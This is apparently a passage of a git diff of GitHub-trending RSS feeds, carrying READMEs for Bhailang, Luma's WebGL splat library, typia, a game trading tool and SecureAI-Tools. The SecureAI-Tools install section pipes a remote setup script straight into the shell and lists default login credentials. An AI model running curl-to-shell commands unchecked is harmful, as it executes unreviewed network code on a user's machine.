<p align="center"><code>hi bhai</code> is the entrypoint for the program and all program must end with <code>bye bhai</code>. Anything outside of it will be ignored.</p>
<pre><code>
This will be ignored
hi bhai
// Write code here
bye bhai
This too
</code></pre>
<h3 align="center">Variables</h3>
<p align="center">Variables can be declared using <code>bhai ye hai</code>.</p>
<pre><code>
hi bhai
bhai ye hai a = 10;
bhai ye hai b = "two";
bhai ye hai c = 15;
a = a + 1;
b = 21;
c *= 2;
bye bhai
</code></pre>
<h3 align="center">Types</h3>
<p align="center">Numbers and strings are like other languages. Null values can be denoted using <code>nalla</code>. <code>sahi</code> and <code>galat</code> are the boolean values.</p>
<pre><code>
hi bhai
bhai ye hai a = 10;
bhai ye hai b = 10 + (15*20);
bhai ye hai c = "two";
bhai ye hai d = 'ok';
bhai ye hai e = nalla;
bhai ye hai f = sahi;
bhai ye hai g = galat;
bye bhai
</code></pre>
<h3 align="center">Built-ins</h3>
<p align="center">Use <code>bol bhai</code> to print anything to console.</p>
<pre><code>
hi bhai
bol bhai "Hello World";
bhai ye hai a = 10;
{
bhai ye hai b = 20;
bol bhai a + b;
}
bol bhai 5, 'ok', nalla , sahi , galat;
bye bhai
</code></pre>
<h3 align="center">Conditionals</h3>
<p align="center">Bhailang supports if-else-if ladder construct , <code>agar bhai</code> block will execute if condition is <code>sahi</code>, otherwise one of the subsequently added <code>nahi to bhai</code> blocks will execute if their respective condition is <code>sahi</code>, and the <code>warna bhai</code> block will eventually execute if all of the above conditions are <code>galat</code> </p>
<pre><code>
hi bhai
bhai ye hai a = 10;
agar bhai (a < 20) {
bol bhai "a is less than 20";
} nahi to bhai ( a < 25 ) {
bol bhai "a is less than 25";
} warna bhai {
bol bhai "a is greater than or equal to 25";
}
bye bhai
</code></pre>
<h3 align="center">Loops</h3>
<p align="center">Statements inside <code>jab tak bhai</code> blocks are executed as long as a specified condition evaluates to sahi. If the condition becomes <code>galat</code>, statement within the loop stops executing and control passes to the statement following the loop. Use <code>bas kar bhai</code> to break the loop and <code classname="language-cpp">agla dekh bhai</code> to continue within loop.</p>
<pre><code>
hi bhai
bhai ye hai a = 0;
jab tak bhai (a < 10) {
a += 1;
agar bhai (a == 5) {
bol bhai "andar se bol bhai ", a;
agla dekh bhai;
}
agar bhai (a == 6) {
bas kar bhai;
}
bol bhai a;
}
bol bhai "done";
bye bhai
</code></pre>
<h2 align="center">Development</h2>
<p align="center">You can explore abstract syntax tree(AST) of bhailang <a href="https://bhailang-ast.netlify.app/" target="_blank">here</a>.</p>
+ lumalabs/luma-web-examples
+ 2023-12-13T01:46:09Z
+ tag:github.com,2023-12-13:/lumalabs/luma-web-examples
+
+ <p>Luma Web Examples, use lumalabs.ai captures directly in your three.js or other WebGL projects!</p><hr><h1><a href="https://lumalabs.ai"><img src="https://raw.githubusercontent.com/lumalabs/luma-web-examples/main/assets/logo.svg?sanitize=true" alt="luma-logo"></a> Luma WebGL Library</h1>
<p><code>luma-web</code> is a <a href="https://www.npmjs.com/package/@lumaai/luma-web">npm package</a> for rendering photoreal interactive scenes captured by the <a href="https://lumalabs.ai/">Luma app</a>. It includes <code>LumaSplatsWebGL</code>, which is a WebGL-only gaussian splatting implementation designed to be integrated with 3D frameworks, and <code>LumaSplatsThree</code>, which is a Three.js implementation that uses <code>LumaSplatsWebGL</code> under the hood. For these examples we'll use <a href="https://threejs.org/">Three.js</a>.</p>
<p><strong>Request features and report bugs on our <a href="https://github.com/lumalabs/luma-web-library"><img src="https://raw.githubusercontent.com/lumalabs/luma-web-examples/main/assets/images/github-mark-16.svg?sanitize=true" alt="github-logo"> GitHub repo</a></strong></p>
<h3>Contents</h3>
<ul>
<li><a href="https://raw.githubusercontent.com/lumalabs/luma-web-examples/main/#getting-started">Getting Started</a></li>
<li><a href="https://raw.githubusercontent.com/lumalabs/luma-web-examples/main/#background-removal">Background Removal</a></li>
<li><a href="https://raw.githubusercontent.com/lumalabs/luma-web-examples/main/#three-fog">Three Fog</a></li>
<li><a href="https://raw.githubusercontent.com/lumalabs/luma-web-examples/main/#scene-lighting">Scene Lighting</a></li>
<li><a href="https://raw.githubusercontent.com/lumalabs/luma-web-examples/main/#custom-shaders">Custom Shaders</a></li>
<li><a href="https://raw.githubusercontent.com/lumalabs/luma-web-examples/main/#react-three-fiber">React Three Fiber</a></li>
<li><a href="https://raw.githubusercontent.com/lumalabs/luma-web-examples/main/#transmission">Transmission</a></li>
<li><a href="https://raw.githubusercontent.com/lumalabs/luma-web-examples/main/#vr">VR</a></li>
</ul>
<h2>Getting Started</h2>
<p><a href="https://raw.githubusercontent.com/lumalabs/luma-web-examples/main/#getting-started"><img src="https://raw.githubusercontent.com/lumalabs/luma-web-examples/main/assets/images/hello-world-preview.jpg" alt="hello-world-demo"></a></p>
<p>To get started, install the package:</p>
<pre><code class="language-bash">npm install @lumaai/luma-web
</code></pre>
<p>And import the <code>LumaSplatsThree</code> class:</p>
<pre><code class="language-ts">import { LumaSplatsThree } from "@lumaai/luma-web";
</code></pre>
<p>Or if using a browser, include the script:</p>
<pre><code class="language-html"><script src="https://unpkg.com/@lumaai/luma-web"></script>
</code></pre>
<p>Then in your code, import the <code>LumaSplatsThree</code> class, create an instance with a source, and add it to your scene.</p>
<p><code>source</code> can be either of:</p>
<ul>
<li>URL to a capture on <a href="https://lumalabs.ai">lumalabs.ai</a></li>
<li>path to a luma splats file or folder containing a luma splats artifacts</li>
</ul>
<p><strong><a href="https://raw.githubusercontent.com/lumalabs/luma-web-examples/main/src/DemoHelloWorld.ts">DemoHelloWorld.ts</a></strong></p>
<pre><code class="language-ts">let splats = new LumaSplatsThree({
source: 'https://lumalabs.ai/capture/ca9ea966-ca24-4ec1-ab0f-af665cb546ff',
});
scene.add(splats);
scene.add(createText());
</code></pre>
<p>Splats will integrate with the three.js rendering pipeline and interact with other objects via depth testing. However, splats do not currently write to the depth buffer themselves.</p>
<h3>Performance tips</h3>
<ul>
<li>Use <code>antialias: false</code> when creating the renderer to disable MSAA on the canvas. Splats are already anti-aliased and the high instance count in splats is expensive to render with MSAA</li>
<li>Set <code>enableThreeShaderIntegration: false</code> to disable integration with the three.js rendering pipeline. This will disable features like fog and tone mapping, but will improve performance</li>
</ul>
<h2>Background Removal</h2>
<p><a href="https://raw.githubusercontent.com/lumalabs/luma-web-examples/main/#background-removal"><img src="https://raw.githubusercontent.com/lumalabs/luma-web-examples/main/assets/images/background-removal-preview.jpg" alt="background-removal-demo"></a></p>
<p>Luma scenes can include multiple semantic layers. By default, all layers are rendered. To filter layers, use the <code>semanticsMask</code> property. This is a bit mask, so for example, to show only the foreground layer, set <code>semanticsMask = LumaSplatsSemantics.FOREGROUND</code>. To show both foreground and background, set <code>semanticsMask = LumaSplatsSemantics.FOREGROUND | LumaSplatsSemantics.BACKGROUND</code></p>
<p><strong><a href="https://raw.githubusercontent.com/lumalabs/luma-web-examples/main/src/DemoBackgroundRemoval.ts">DemoBackgroundRemoval.ts</a></strong></p>
<pre><code class="language-ts">import { LumaSplatsSemantics, LumaSplatsThree } from "@lumaai/luma-web";
let splats = new LumaSplatsThree({
source: 'https://lumalabs.ai/capture/1b5f3e33-3900-4398-8795-b585ae13fd2d',
});
scene.add(splats);
// filter splats to only show foreground layers
splats.semanticsMask = LumaSplatsSemantics.FOREGROUND;
</code></pre>
<h2>Three Fog</h2>
<p><a href="https://raw.githubusercontent.com/lumalabs/luma-web-examples/main/#three-fog"><img src="https://raw.githubusercontent.com/lumalabs/luma-web-examples/main/assets/images/three.js-fog-preview.jpg" alt="three.js-fog-demo"></a></p>
<p>Luma splats integrate with the three.js rendering pipeline including features like tone mapping, color spaces and fog. Ensure <code>enableThreeShaderIntegration</code> is set to <code>true</code> (the default) and set the scene fog</p>
<p><strong><a href="https://raw.githubusercontent.com/lumalabs/luma-web-examples/main/src/DemoFog.ts">DemoFog.ts</a></strong></p>
<pre><code class="language-ts">scene.fog = new FogExp2(new Color(0xe0e1ff).convertLinearToSRGB(), 0.15);
scene.background = scene.fog.color;
</code></pre>
<h2>Scene Lighting</h2>
<p><a href="https://raw.githubusercontent.com/lumalabs/luma-web-examples/main/#scene-lighting"><img src="https://raw.githubusercontent.com/lumalabs/luma-web-examples/main/assets/images/scene-lighting-preview.jpg" alt="scene-lighting-demo"></a></p>
<p>It's possible to illuminate three.js scenes with Luma splats. To do so, we can render a cubemap of the splats and use it as the scene environment. This is done by calling <code>captureCubemap()</code> on the splats object. We first wait for the splats to fully load before capturing the cubemap. To ensure the splats are fully rendered at the time of capture, we disable the loading animation.</p>
<p><strong><a href="https://raw.githubusercontent.com/lumalabs/luma-web-examples/main/src/DemoLighting.ts">DemoLighting.ts</a></strong></p>
<pre><code class="language-ts">let splats = new LumaSplatsThree({
source: 'https://lumalabs.ai/capture/4da7cf32-865a-4515-8cb9-9dfc574c90c2',
// disable loading animation so model is fully rendered after onLoad
loadingAnimationEnabled: false,
});
splats.onLoad = () => {
splats.captureCubemap(renderer).then((capturedTexture) => {
scene.environment = capturedTexture;
scene.background = capturedTexture;
scene.backgroundBlurriness = 0.5;
});
}
</code></pre>
<h2>Custom Shaders</h2>
<p><a href="https://raw.githubusercontent.com/lumalabs/luma-web-examples/main/#custom-shaders"><img src="https://raw.githubusercontent.com/lumalabs/luma-web-examples/main/assets/images/custom-shaders-preview.jpg" alt="custom-shaders-demo"></a></p>
<p>You can inject code into the splat shaders to customize them. To do this, call <code>setShaderHooks({ ... })</code> on your splat and provide GLSL functions, uniforms and globals to override default behavior. For example, in this demo we apply a transform matrix to each splat by setting the vertex shader hook <code>getSplatTransform</code>. It generates a transform matrix for time-varying sinusoidal offset to the y coordinate.</p>
<p>The syntax for shader hook function is a GLSL function without a function name. The GLSL function arguments and return are given as documentation on the shader hook fields (see below).</p>
<p><strong><a href="https://raw.githubusercontent.com/lumalabs/luma-web-examples/main/src/DemoCustomShaders.ts">DemoCustomShaders.ts</a></strong></p>
<pre><code class="language-ts">splats.setShaderHooks({
vertexShaderHooks: {
additionalUniforms: {
time_s: ['float', uniformTime],
},
getSplatTransform: /*glsl*/`
(vec3 position, uint layersBitmask) {
// sin wave on x-axis
float x = 0.;
float z = 0.;
float y = sin(position.x * 1.0 + time_s) * 0.1;
return mat4(
1., 0., 0., 0,
0., 1., 0., 0,
0., 0., 1., 0,
x, y, z, 1.
);
}
`,
}
});
</code></pre>
<h3>Shader Hook API</h3>
<pre><code class="language-typescript">type LumaShaderHooks = {
/** Hooks added to the vertex shader */
vertexShaderHooks?: {
additionalUniforms?: { [name: string]: [UniformTypeGLSL, { value: any }] },
/** Inject into global space (for example, to add a varying) */
additionalGlobals?: string,
/**
* Example `(vec3 splatPosition, uint layersBitmask) { return mat4(1.); }`
* @param {vec3} splatPosition, object-space
* @param {uint} layersBitmask, bit mask of layers, where bit 0 is background and bit 1 is foreground
* @returns {mat4} per-splat local transform
*/
getSplatTransform?: string,
/**
* Executed at the end of the main function after gl_Position is set
*
* Example `() {
* vPosition = gl_Position;
* }`
* @returns {void}
*/
onMainEnd?: string,
/**
* Example `(vec4 splatColor, vec3 splatPosition) { return pow(splatColor.rgb, vec3(2.2), splatColor.a); }`
* Use `gl_Position` is available
* @param {vec4} splatColor, default splat color
* @param {vec3} splatPosition, object-space
* @param {uint} layersBitmask, bit mask of layers, where bit 0 is background and bit 1 is foreground
* @returns {vec4} updated splat color
*/
getSplatColor?: string,
},
/** Hooks added to the fragment shader */
fragmentShaderHooks?: {
additionalUniforms?: { [name: string]: [UniformTypeGLSL, { value: any }] },
/** Inject into global space (for example, to add a varying) */
additionalGlobals?: string,
/**
* Example `(vec4 fragColor) { return tonemap(fragColor); }`
* @param {vec4} fragColor, default fragment color
* @returns {vec4} updated fragment color
*/
getFragmentColor?: string,
}
}
</code></pre>
<h2>React Three Fiber</h2>
<p><a href="https://raw.githubusercontent.com/lumalabs/luma-web-examples/main/#react-three-fiber"><img src="https://raw.githubusercontent.com/lumalabs/luma-web-examples/main/assets/images/react-three-fiber-preview.jpg" alt="react-three-fiber-demo"></a></p>
<p>Luma splats can be used with <a href="https://docs.pmnd.rs/">React Three Fiber</a>, a React renderer for Three.js. To do so, we need to extend R3F to include the <code>LumaSplatsThree</code> class. This is done by calling <code>extend</code> with the class and a name (in this case <code>LumaSplats</code> which will be used as the component name). If using TypeScript, we also need to declare the component type.</p>
<p><strong><a href="https://raw.githubusercontent.com/lumalabs/luma-web-examples/main/src/DemoReactThreeFiber.tsx">DemoReactThreeFiber.tsx</a></strong></p>
<pre><code class="language-typescript">import { Object3DNode, extend } from '@react-three/fiber';
import { LumaSplatsThree, LumaSplatsSemantics } from "@lumaai/luma-web";
// Make LumaSplatsThree available to R3F
extend( { LumaSplats: LumaSplatsThree } );
// For typeScript support:
declare module '@react-three/fiber' {
interface ThreeElements {
lumaSplats: Object3DNode<LumaSplatsThree, typeof LumaSplatsThree>
}
}
function Scene() {
return <lumaSplats
semanticsMask={LumaSplatsSemantics.FOREGROUND}
source='https://lumalabs.ai/capture/822bac8d-70d6-404e-aaae-f89f46672c67'
position={[-1, 0, 0]}
scale={0.5}
/>
}
</code></pre>
<h2>Transmission</h2>
<p><a href="https://raw.githubusercontent.com/lumalabs/luma-web-examples/main/#transmission"><img src="https://raw.githubusercontent.com/lumalabs/luma-web-examples/main/assets/images/transmission-preview.jpg" alt="transmission-demo"></a></p>
<p>Splats can be used in combination with three.js transmission effects, however some care should be taken to make this work. Splats are considered <code>transparent</code> materials in three.js which means by default they're not rendered in the transmissive pass, so initially you won't see your splats in transmissive materials. To fix we set <code>splats.material.transparent = false;</code>.</p>
<p>In this example, we draw two splat scenes, one inside a refractive globe and the other outside. To make this work, we want the inner splat scene to <em>only</em> render to the transmission buffer and the outer to the canvas. We do this by checking the render target before rendering and selectively disabling.</p>
<p><strong><a href="https://raw.githubusercontent.com/lumalabs/luma-web-examples/main/src/DemoTransmission.ts">DemoTransmission.ts</a></strong></p>
<pre><code class="language-typescript">// inner splat
let globeSplats = new LumaSplatsThree({
// Chateau de Menthon - Annecy
source: 'https://lumalabs.ai/capture/da82625c-9c8d-4d05-a9f7-3367ecab438c',
enableThreeShaderIntegration: true,
onBeforeRender: (renderer) => {
// disable MSAA on render targets (in this case the transmission render target)
// this improves splatting performance
let target = renderer.getRenderTarget();
if (target) {
target.samples = 0;
}
// only render in targets and not the canvas
globeSplats.preventDraw = target == null;
}
});
// disable transparency so the renderer considers it an opaque object
// opaque objects are rendered in the transmission pass (whereas transparent objects are not)
globeSplats.material.transparent = false;
scene.add(globeSplats);
// outer splat
let environmentSplats = new LumaSplatsThree({
// Arosa Hörnli - Switzerland
source: 'https://lumalabs.ai/capture/4da7cf32-865a-4515-8cb9-9dfc574c90c2',
// disable animation for lighting capture
loadingAnimationEnabled: false,
// disable three.js shader integration for performance
enableThreeShaderIntegration: false,
});
scene.add(environmentSplats);
// add a refractive transmissive sphere
let glassSphere = new Mesh(
new SphereGeometry(1, 32, 32),
new MeshPhysicalMaterial({
roughness: 0,
metalness: 0,
transmission: 1,
ior: 1.341,
thickness: 1.52,
envMapIntensity: 1.2,
clearcoat: 1,
side: FrontSide,
transparent: true,
})
);
scene.add(glassSphere);
</code></pre>
<h2>VR</h2>
<p><a href="https://raw.githubusercontent.com/lumalabs/luma-web-examples/main/#vr"><img src="https://raw.githubusercontent.com/lumalabs/luma-web-examples/main/assets/images/vr-preview.jpg" alt="vr-demo"></a></p>
<p>Viewing your splats in VR is as simple as enabling XR in three.js and adding a VR button. View this demo with a VR headset (or through a headset browser) and click "Enter VR"! It will work best on PC VR, standalone VR tends to struggle with splats presently</p>
<p><strong><a href="https://raw.githubusercontent.com/lumalabs/luma-web-examples/main/src/DemoVR.ts">DemoVR.ts</a></strong></p>
<pre><code class="language-typescript">import { VRButton } from "three/examples/jsm/webxr/VRButton.js";
renderer.xr.enabled = true;
let vrButton = VRButton.createButton(renderer);
document.body.appendChild(vrButton);
let splats = new LumaSplatsThree({
// Kind Humanoid @RyanHickman
source: 'https://lumalabs.ai/capture/83e9aae8-7023-448e-83a6-53ccb377ec86',
});
scene.add(splats);
</code></pre>
- SnosMe/awakened-poe-trade
- 2023-12-12T02:00:45Z
- tag:github.com,2023-12-12:/SnosMe/awakened-poe-trade
-
- <p>💲 🔨 Path of Exile trading app for price checking</p><hr><h1><img src="https://web.poecdn.com/image/Art/2DItems/Currency/TransferOrb.png" alt="Awakener's Orb"> Awakened PoE Trade</h1>
<p><a href="https://somsubhra.github.io/github-release-stats/?username=SnosMe&repository=awakened-poe-trade"><img src="https://user-images.githubusercontent.com/4292308/153364874-dde23599-278c-4350-8d86-dadbc4b978b3.svg?sanitize=true" alt=""></a> <a href="https://patreon.com/awakened_poe_trade"><img src="https://user-images.githubusercontent.com/4292308/153364769-e4fe1e82-1bbc-46ac-8a3c-f5a98a5667cc.svg?sanitize=true" alt=""></a> <a href="https://github.com/SnosMe/awakened-poe-trade/issues/22"><img src="https://user-images.githubusercontent.com/4292308/153364565-7a545d26-e617-4a33-a919-ff90d8feda3d.svg?sanitize=true" alt=""></a></p>
<p>➡ <a href="https://snosme.github.io/awakened-poe-trade/download">Download for Windows & Linux</a> ⬅</p>
<h2>Tool showcase</h2>
<table>
<thead>
<tr>
<th>Gem</th>
<th>Rare</th>
<th>Unique</th>
<th>Currency</th>
</tr>
</thead>
<tbody>
<tr>
<td><img src="https://i.imgur.com/LTsH2DZ.png" alt=""></td>
<td><img src="https://i.imgur.com/2XL5Wl8.png" alt=""></td>
<td><img src="https://i.imgur.com/UTV6prE.png" alt=""></td>
<td><img src="https://i.imgur.com/dQ9Sns6.png" alt=""></td>
</tr>
</tbody>
</table>
<h3>Development</h3>
<p>See <a href="https://raw.githubusercontent.com/SnosMe/awakened-poe-trade/master/DEVELOPING.md">DEVELOPING.md</a></p>
<h3>Acknowledgments</h3>
<ul>
<li><a href="https://github.com/kwhat/libuiohook">libuiohook</a></li>
<li><a href="https://github.com/brather1ng/RePoE">RePoE</a></li>
<li><a href="https://www.poeprices.info/">poeprices.info</a></li>
<li><a href="https://poe.ninja/">poe.ninja</a></li>
</ul>
<p><img src="https://i.imgur.com/MATqhv7.png" alt=""></p>
+ samchon/typia
+ 2023-12-13T01:46:09Z
+ tag:github.com,2023-12-13:/samchon/typia
+
+ <p>Super-fast/easy runtime validations and serializations through transformation</p><hr><h1>Typia</h1>
<p><img src="https://typia.io/logo.png" alt="Typia Logo"></p>
<p><a href="https://github.com/samchon/typia/raw/master/LICENSE"><img src="https://img.shields.io/badge/license-MIT-blue.svg?sanitize=true" alt="GitHub license"></a> <a href="https://www.npmjs.com/package/typia"><img src="https://img.shields.io/npm/v/typia.svg?sanitize=true" alt="npm version"></a> <a href="https://www.npmjs.com/package/typia"><img src="https://img.shields.io/npm/dm/typia.svg?sanitize=true" alt="Downloads"></a> <a href="https://github.com/samchon/typia/actions?query=workflow%3Abuild"><img src="https://github.com/samchon/typia/workflows/build/badge.svg?sanitize=true" alt="Build Status"></a> <a href="https://typia.io/docs/"><img src="https://img.shields.io/badge/guide-documents-forestgreen" alt="Guide Documents"></a></p>
<pre><code class="language-typescript">// RUNTIME VALIDATORS
export function is<T>(input: unknown): input is T; // returns boolean
export function assert<T>(input: unknown): T; // throws TypeGuardError
export function assertGuard<T>(input: unknown): asserts input is T;
export function validate<T>(input: unknown): IValidation<T>; // detailed
// JSON FUNCTIONS
export namespace json {
export function application<T>(): IJsonApplication; // JSON schema
export function assertParse<T>(input: string): T; // type safe parser
export function assertStringify<T>(input: T): string; // safe and faster
}
// PROTOCOL BUFFER
export namespace protobuf {
export function message<T>(): string; // Protocol Buffer message
export function assertDecode<T>(buffer: Uint8Array): T; // safe decoder
export function assertEncode<T>(input: T): Uint8Array; // safe encoder
}
// RANDOM GENERATOR
export function random<T>(g?: Partial<IRandomGenerator>): T;
</code></pre>
<p>Typia is a transformer library supporting below features:</p>
<ul>
<li>Super-fast Runtime Validators</li>
<li>Enhanced JSON functions</li>
<li>Protocol Buffer encoder and decoder</li>
<li>Random data generator</li>
</ul>
<blockquote>
<p><strong>Note</strong></p>
<ul>
<li><strong>Only one line</strong> required, with pure TypeScript type</li>
<li>Runtime validator is <strong>20,000x faster</strong> than <code>class-validator</code></li>
<li>JSON serialization is <strong>200x faster</strong> than <code>class-transformer</code></li>
</ul>
</blockquote>
<h2>Sponsors</h2>
<p>Thanks for your support.</p>
<p>Your donation encourages <code>typia</code> development.</p>
<p><a href="https://opencollective.com/typia"><img src="https://opencollective.com/typia/badge.svg?avatarHeight=75&width=600" alt="Sponsers"></a></p>
<h2>Playground</h2>
<p>You can experience how typia works by <a href="https://typia.io/playground">playground website</a>:</p>
<ul>
<li>💻 <a href="https://typia.io/playground">https://typia.io/playground</a></li>
</ul>
<h2>Guide Documents</h2>
<p>Check out the document in the <a href="https://typia.io/docs/">website</a>:</p>
<h3>🏠 Home</h3>
<ul>
<li><a href="https://typia.io/docs/">Introduction</a></li>
<li><a href="https://typia.io/docs/setup/">Setup</a></li>
<li><a href="https://typia.io/docs/pure/">Pure TypeScript</a></li>
</ul>
<h3>📖 Features</h3>
<ul>
<li>Runtime Validators
<ul>
<li><a href="https://typia.io/docs/validators/assert/"><code>assert()</code> function</a></li>
<li><a href="https://typia.io/docs/validators/is/"><code>is()</code> function</a></li>
<li><a href="https://typia.io/docs/validators/validate/"><code>validate()</code> function</a></li>
<li><a href="https://typia.io/docs/validators/tags/">Special Tags</a></li>
</ul> </li>
<li>Enhanced JSON
<ul>
<li><a href="https://typia.io/docs/json/stringify/"><code>stringify()</code> functions</a></li>
<li><a href="https://typia.io/docs/json/parse/"><code>parse()</code> functions</a></li>
<li><a href="https://typia.io/docs/json/schema">JSON Schema</a></li>
</ul> </li>
<li>Protocol Buffer
<ul>
<li><a href="https://typia.io/docs/protobuf/message">Message Schema</a></li>
<li><a href="https://typia.io/docs/protobuf/decode/"><code>decode()</code> functions</a></li>
<li><a href="https://typia.io/docs/protobuf/encode/"><code>encode()</code> functions</a></li>
</ul> </li>
<li><a href="https://typia.io/docs/random/">Random Generator</a></li>
<li><a href="https://typia.io/docs/misc/">Miscellaneous</a></li>
</ul>
<h3>🔗 Appendix</h3>
<ul>
<li>Utillization Cases
<ul>
<li><a href="https://typia.io/docs/utilization/nestjs/">NestJS</a></li>
<li><a href="https://typia.io/docs/utilization/prisma/">Prisma</a></li>
<li><a href="https://typia.io/docs/utilization/trpc/">tRPC</a></li>
</ul> </li>
<li><a href="https://github.com/samchon/typia/tree/master/packages/benchmark/results/11th%20Gen%20Intel(R)%20Core(TM)%20i5-1135G7%20%40%202.40GHz">⇲ Benchmark Result</a></li>
<li><a href="https://dev.to/samchon/series/22474">⇲ <code>dev.to</code> Articles</a></li>
</ul>
+
+
+ SecureAI-Tools/SecureAI-Tools
+ 2023-12-13T01:46:09Z
+ tag:github.com,2023-12-13:/SecureAI-Tools/SecureAI-Tools
+
+ <p>Private and secure AI tools for everyone's productivity.</p><hr><h1>SecureAI Tools</h1>
<p>Private and secure AI tools for everyone's productivity.</p>
<p><a href="https://discord.gg/YTyPGHcYP9"><img src="https://dcbadge.vercel.app/api/server/YTyPGHcYP9?style=flat&compact=true" alt="Discord"></a></p>
<h2>Highlights</h2>
<ul>
<li><strong>Chat with AI</strong>: Allows you to chat with AI models (i.e. ChatGPT).</li>
<li><strong>Chat with Documents</strong>: Allows you to chat with documents (PDFs for now). Demo videos below</li>
<li><strong>Local inference</strong>: Runs AI models locally. Supports 100+ open-source (and semi-open-source) AI models through <a href="https://ollama.ai/library">Ollama</a>.</li>
<li><strong>Built-in authentication</strong>: A simple email/password authentication so it can be opened to internet and accessed from anywhere.</li>
<li><strong>Built-in user management</strong>: So family members or coworkers can use it as well if desired.</li>
<li><strong>Self-hosting optimized</strong>: Comes with necessary scripts and docker-compose files to get started in under 5 minutes.</li>
</ul>
<h2>Demos</h2>
<h4>Chat with documents demo: OpenAI's GPT3.5</h4>
<p><a href="https://www.youtube.com/watch?v=Br2D3G9O47s"><img src="https://img.youtube.com/vi/Br2D3G9O47s/0.jpg" alt="Chat with documents demo: OpenAI's GPT3.5"></a></p>
<h4>Chat with documents demo: Locally running Mistral (M2 MacBook)</h4>
<p><a href="https://www.youtube.com/watch?v=UvRHL6f_w74"><img src="https://img.youtube.com/vi/UvRHL6f_w74/0.jpg" alt="Chat with documents demo: Locally running Mistral"></a></p>
<h2>Install</h2>
<h3>Docker Compose [Recommended]</h3>
<h4>1. Create a directory</h4>
<pre><code>mkdir secure-ai-tools && cd secure-ai-tools
</code></pre>
<h4>2. Run set-up script</h4>
<p>The script downloads <code>docker-compose.yml</code> and generates a <code>.env</code> file with sensible defaults.</p>
<pre><code class="language-sh">curl -sL https://github.com/SecureAI-Tools/SecureAI-Tools/releases/latest/download/set-up.sh | sh
</code></pre>
<h4>3. [Optional] Edit <code>.env</code> file</h4>
<p>Customize the <code>.env</code> file created in the above step to your liking.</p>
<h4>4. [Optional] On Linux machine with Nvidia GPUs, enable GPU support</h4>
<p>To accelerate inference on Linux machines, you will need to enable GPUs. This is not strictly required as the inference service will run on CPU-only mode as well, but it will be slow on CPU. So if your machine has Nvidia GPU then this step is recommended.</p>
<ol>
<li>Install <a href="https://docs.nvidia.com/datacenter/cloud-native/container-toolkit/latest/install-guide.html#installation">Nvidia container toolkit</a> if not already installed.</li>
<li>Uncomment the <code>deploy:</code> block in <code>docker-compose.yml</code> file. It gives inference service access to Nvidia GPUs.</li>
</ol>
<h4>5. Run docker compose</h4>
<pre><code class="language-sh">docker compose up -d
</code></pre>
<h4>6. Post-installation set-up</h4>
<ol>
<li> <p>Login at <a href="http://localhost:28669/log-in">http://localhost:28669/log-in</a> using the initial credentials below, and change the password.</p>
<ul>
<li> <p>Email</p> <pre><code>bruce@wayne-enterprises.com
</code></pre> </li>
<li> <p>Password</p> <pre><code>SecureAIToolsFTW!
</code></pre> </li>
</ul> </li>
<li> <p>Set up the AI model by going to <a href="http://localhost:28669/-/settings?tab=ai">http://localhost:28669/-/settings?tab=ai</a></p> </li>
<li> <p>Navigate to <a href="http://localhost:28669/-">http://localhost:28669/-</a> and start using AI tools</p> </li>
</ol>
<h2>Features wishlist</h2>
<p>A set of features on our todo list (in no particular order).</p>
<ul>
<li>✅ Chat with documents</li>
<li>✅ Support for OpenAI, Claude etc APIs</li>
<li>Support for markdown rendering</li>
<li>Chat sharing</li>
<li>Mobile friendly UI</li>
<li>Specify AI model at chat-creation time</li>
<li>Prompt templates library</li>
</ul>
\ No newline at end of file
diff --git a/unified-parallel-c/daily/index.xml b/unified-parallel-c/daily/index.xml
index 2d83013fe90..3b696d09833 100644
--- a/unified-parallel-c/daily/index.xml
+++ b/unified-parallel-c/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Unified Parallel C Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:00:42Z
+ 2023-12-13T01:46:06Z
Daily Trending of Unified Parallel C in GitHub
\ No newline at end of file
diff --git a/unity3d-asset/daily/index.xml b/unity3d-asset/daily/index.xml
index 34fb5cfca87..71f4a28d73b 100644
--- a/unity3d-asset/daily/index.xml
+++ b/unity3d-asset/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Unity3D Asset Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:00:41Z
+ 2023-12-13T01:46:05Z
Daily Trending of Unity3D Asset in GitHub
\ No newline at end of file
diff --git a/unix-assembly/daily/index.xml b/unix-assembly/daily/index.xml
index 9d5873335af..e1216c7510e 100644
--- a/unix-assembly/daily/index.xml
+++ b/unix-assembly/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Unix Assembly Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:00:55Z
+ 2023-12-13T01:46:21Z
Daily Trending of Unix Assembly in GitHub
\ No newline at end of file
diff --git a/unknown/daily/index.xml b/unknown/daily/index.xml
index ea6c18b68b0..28ba88a22a8 100644
--- a/unknown/daily/index.xml
+++ b/unknown/daily/index.xml
@@ -1,28 +1,28 @@
GitHub Unknown Languages Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:43:17Z
+ 2023-12-13T01:25:56Z
Daily Trending of Unknown Languages in GitHub
- openbao/openbao
- 2023-12-12T01:43:17Z
- tag:github.com,2023-12-12:/openbao/openbao
-
+ KovenYu/WonderJourney
+ 2023-12-13T01:25:56Z
+ tag:github.com,2023-12-13:/KovenYu/WonderJourney
+
<p></p><hr>
- AIoT-MLSys-Lab/Efficient-LLMs-Survey
- 2023-12-12T01:43:17Z
- tag:github.com,2023-12-12:/AIoT-MLSys-Lab/Efficient-LLMs-Survey
-
- <p>Efficient Large Language Models: A Survey</p><hr>
+ Az0x7/vulnerability-Checklist
+ 2023-12-13T01:25:56Z
+ tag:github.com,2023-12-13:/Az0x7/vulnerability-Checklist
+
+ <p>This repository contain a lot of web and api vulnerability checklist , a lot of vulnerability ideas and tips from twitter</p><hr>
- paulmillr/encrypted-dns
- 2023-12-12T01:43:17Z
- tag:github.com,2023-12-12:/paulmillr/encrypted-dns
-
- <p>DNS over HTTPS config profiles for iOS & macOS</p><hr>
+ vvictoryuki/AnimateZero
+ 2023-12-13T01:25:56Z
+ tag:github.com,2023-12-13:/vvictoryuki/AnimateZero
+
+ <p>Official PyTorch implementation for the paper "AnimateZero: Video Diffusion Models are Zero-Shot Image Animators"</p><hr>
\ No newline at end of file
diff --git a/uno/daily/index.xml b/uno/daily/index.xml
index 268c0fb48d1..6c720b37553 100644
--- a/uno/daily/index.xml
+++ b/uno/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Uno Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:00:56Z
